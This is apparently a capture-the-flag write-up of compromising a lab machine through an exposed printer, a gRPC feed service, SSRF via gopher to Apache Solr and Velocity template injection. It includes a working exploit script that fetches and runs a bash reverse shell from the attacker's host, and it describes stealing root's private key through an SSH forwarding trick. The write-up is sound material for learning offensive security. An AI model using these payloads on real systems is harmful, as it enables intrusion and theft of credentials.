Enum/ Information gathering

The usual Nmap scan shows a jetdirect print server (port 9100 tcp is user for printing).

Googling enumeration jetdirect 9100 shows this link as the first result https://book.hacktricks.xyz/pentesting/9100-pjl. This is a good resource I often come across – the author also has a handy EoP enum script called linpeas/ winpeas.

That page mentioned a tool called PRET. After further enumeration we get two things there; a key and a base64 encoded text.

We can try to decrypt, but what happened is that I kept getting an error about the input length: ValueError: Input strings must be a multiple of 16 in length after getting the IV from the base64 decoded text. The remaining to decrypt should have been enc[16:] (cf code below), but because of the error above and the length of enc I was getting, I played around a bit with that and enc[24:] worked. I’m probably missing something here but the result seems fine.

Taking a look at the generated file ($ head decrypted_q) we see that it is a pdf file, we rename it, and open it:

This file is talking about a gRPC service, running on port 9000, which sounds like an aggregator of feeds coming from multiple sources. It has a Feed method that takes the content to parse and pushes back a message on successful transmission (which would be ‘Pushing feeds’).

I did not know much about gRPC, so did a bit of reading there. I found these two links to be a nice intro and quite simple to follow (1 / 2). Given the description in the doc, the proto file would look like this:

Generating the client/server interfaces using this proto file, we can now write a client code to test the service. After some trial and error I landed on this running example (using the same example content as shown on the pdf). However, the only required field is feed_url.

At this stage, we see that the server has retrieved our feeds.json and sent back the expected ‘Pushing feeds’.

Then I tried to send various pickled payloads but that didn’t work. From the output and errors I had seen earlier, it was possible to deduce open ports on the localhost from the returned output. The following ‘scanner’ was then used to see what else is running and more importantly, what might be behind the feeds processing:

We can see the ‘Pushing feeds’ message out of two ports; 8983 pointing to Apache Solr (the open-source search platform built on Apache Lucene), and port 43323 which is unassigned, so not sure what’s running there. Digging a bit on Solr, I could find a number of vulnerabilities. A nice writeup here: https://github.com/veracode-research/solr-injection. The latest vulnerability mentioned there was the way to go https://github.com/jas502n/solr_rce.

What will be used here is gopher. This protocol is often used to construct post packets to attack intranet applications. Given the example in the link mentioned above, we can construct the post request with gopher to then trigger the RCE with the get.

Exploitation/ Foothold

This was a bit of a pain because (initially) of typos in certain writeups about the vulnerability payload, and it needed many attempts to find out both the right encoding and also run everything multiple times to get something back (as in, the same code sometimes works and sometimes not!). Also, although the above service invocation is fine to do the following, it times out quickly and the post was taking its time, so using grpcurl was more practical. And finally, the code of the reverse shell would not work in one go and I had to do it in multiple stages. The following is what I used to get user (here is the entire code instead of a screenshot).


import base64
import pickle
import os

# run on the command line:
# $ echo "bash -i >& /dev/tcp/<IP>/<PORT> 0>&1" > rev.sh
# $ python3 -m http.server (where you've generated rev.sh above)
# $ nc -nvlp <PORT>

post ='{"feed_url":"gopher://localhost:8983/_POST%20%2Fso'
post +='lr%2Fstaging%2Fconfig%20HTTP%2F1.1%0AHost%3A%20loc'
post +='alhost%3A8983%0AContent-Type%3A%20application%2Fjs'
post +='on%0AContent-Length%3A%20259%0A%0A%7B%0A%20%20%22u'
post +='pdate-queryresponsewriter%22%3A%20%7B%0A%20%20%20%'
post +='20%22startup%22%3A%20%22lazy%22%2C%0A%20%20%20%20%'
post +='22name%22%3A%20%22velocity%22%2C%0A%20%20%20%20%22'
post +='class%22%3A%20%22solr.VelocityResponseWriter%22%2C'
post +='%0A%20%20%20%20%22template.base.dir%22%3A%20%22%22'
post +='%2C%0A%20%20%20%20%22solr.resource.loader.enabled%'
post +='22%3A%20%22true%22%2C%0A%20%20%20%20%22params.reso'
post +='urce.loader.enabled%22%3A%20%22true%22%0A%20%20%7D'
post +='%0A%7D"}'
payload_post = base64.b64encode(pickle.dumps(post))

commands = ['wget%20http://<IP>:8000/rev.sh%20-O%20/tmp/rev.sh',
            'chmod%20+x%20/tmp/rev.sh',
            'bash%20/tmp/rev.sh']

for command in commands:    
    get ='{"feed_url":"http://localhost:8983/solr/staging/se'
    get +='lect?q=1&wt=velocity&v.template=custom&v.template.'
    get +='custom=%23set($x=%27%27)+%23set($rt=$x.class.forNa'
    get +='me(%27java.lang.Runtime%27))+%23set($chr=$x.class.'
    get +='forName(%27java.lang.Character%27))+%23set($str=$x'
    get +='.class.forName(%27java.lang.String%27))+%23set($ex'
    get +='=$rt.getRuntime().exec(%27<CMD>%27))+'.replace('<CMD>',command)
    get +='$ex.waitFor()+%23set($out=$ex.getInputStream())+%2'
    get +='3foreach($i+in+[1..$out.available()])$str.valueOf('
    get +='$chr.toChars($out.read()))%23end"}'
    
    payload_get = base64.b64encode(pickle.dumps(get))

#   try multiple time as it wasn't reliably working each time
#   probably not necessary to change the config each time which would speed up this process!
    for i in range(3):
        os.system("grpcurl -plaintext -d '{\"data\":\"%s\"}' -proto print.proto 10.10.10.201:9000 Print.Feed" % payload_post.decode())
        os.system("grpcurl -plaintext -d '{\"data\":\"%s\"}' -proto print.proto 10.10.10.201:9000 Print.Feed" % payload_get.decode())

EoP

Using pspy to monitor processes, you could see the use of sshpass and a password on the command line to scp some files into a container. It seemed like it’s obfuscated (the password) but it still appears occasionally (a race condition somewhere maybe? Not sure what this is TBH). The following is the output of pspy grep‘ed on sshpass:

Doing a quick nc port scan on the container, it only exposes ssh, nothing else seems to be running there. Getting into the container, and some enum there does not give anything as well. I had noticed the clear.sh script that’s copied and run every minute on the containers but didn’t know what to do with that. It turns out, you could trick the process doing that to run a clear.sh on the target box instead of the container by forwarding the traffic from port 22 on the container to port 22 on the target box (and hope that the root public key is in the authorized_keys files!).

I thought of iptables to do that initially, so I compiled a static version but it didn’t work. It turns out it’s possible to do it with socat. Add a clear.sh to the target box to copy the root private key to /tmp/ and on the container stop the ssh service and run the socat command to forward the traffic on port 22 to the target box.

Please feel free to leave comments, especially if you have a better way (or an interesting alternative) to do any of the above.